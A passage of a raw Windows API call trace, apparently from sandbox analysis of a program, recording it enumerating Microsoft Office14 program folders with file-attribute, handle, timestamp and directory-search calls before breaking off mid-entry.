[0055.800] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.800] GetLastError () returned 0x12 [0055.800] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.802] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.802] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.802] GetLastError () returned 0x12 [0055.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.802] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.802] GetLastError () returned 0x12 [0055.802] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.803] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.803] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.803] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.805] GetLastError () returned 0x12 [0055.805] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.805] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.805] GetLastError () returned 0x12 [0055.806] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" (normalized: "c:\\program files\\microsoft office\\office14\\addins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.807] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.807] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.807] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.808] GetLastError () returned 0x12 [0055.808] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.808] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.808] GetLastError () returned 0x12 [0055.809] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.809] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.811] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.811] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.811] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.812] GetLastError () returned 0x12 [0055.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.813] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.813] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.813] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.813] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.813] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.814] GetLastError () returned 0x12 [0055.814] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.814] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.814] GetLastError () returned 0x12 [0055.814] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0055.815] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.815] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.815] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.816] GetLastError () returned 0x12 [0055.816] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.817] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.817] GetLastError () returned 0x12 [0055.817] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.817] GetLastError () returned 0x12 [0055.817] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" (normalized: "c:\\program files\\microsoft office\\office14\\borders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.818] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.818] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.818] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.820] GetLastError () returned 0x12 [0055.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.820] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.820] GetLastError () returned 0x12 [0055.820] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" (normalized: "c:\\program files\\microsoft office\\office14\\convert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.822] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.822] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.822] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.824] GetLastError () returned 0x12 [0055.824] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.824] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.825] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.825] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a3d760, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0x1a3d760, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.825] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.827] GetLastError () returned 0x12 [0055.827] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459bb8 [0055.827] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.827] GetLastError () returned 0x12 [0055.827] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.828] GetLastError () returned 0x12 [0055.828] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.828] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" (normalized: "c:\\program files\\microsoft office\\office14\\document parts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.829] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.829] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.829] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459d38 [0055.829] GetLastError () returned 0x12 [0055.829] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459bb8 [0055.829] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.830] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.830] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.830] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459d38 [0055.830] GetLastError () returned 0x12 [0055.830] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.830] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0055.830] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.831] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb5458, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xfb5458, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.831] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459d38 [0055.831] GetLastError () returned 0x12 [0055.831] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0055.831] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.831] GetLastError () returned 0x12 [0055.831] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.831] GetLastError () returned 0x12 [0055.831] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.831] GetLastError () returned 0x12 [0055.831] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.831] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" (normalized: "c:\\program files\\microsoft office\\office14\\forms"), 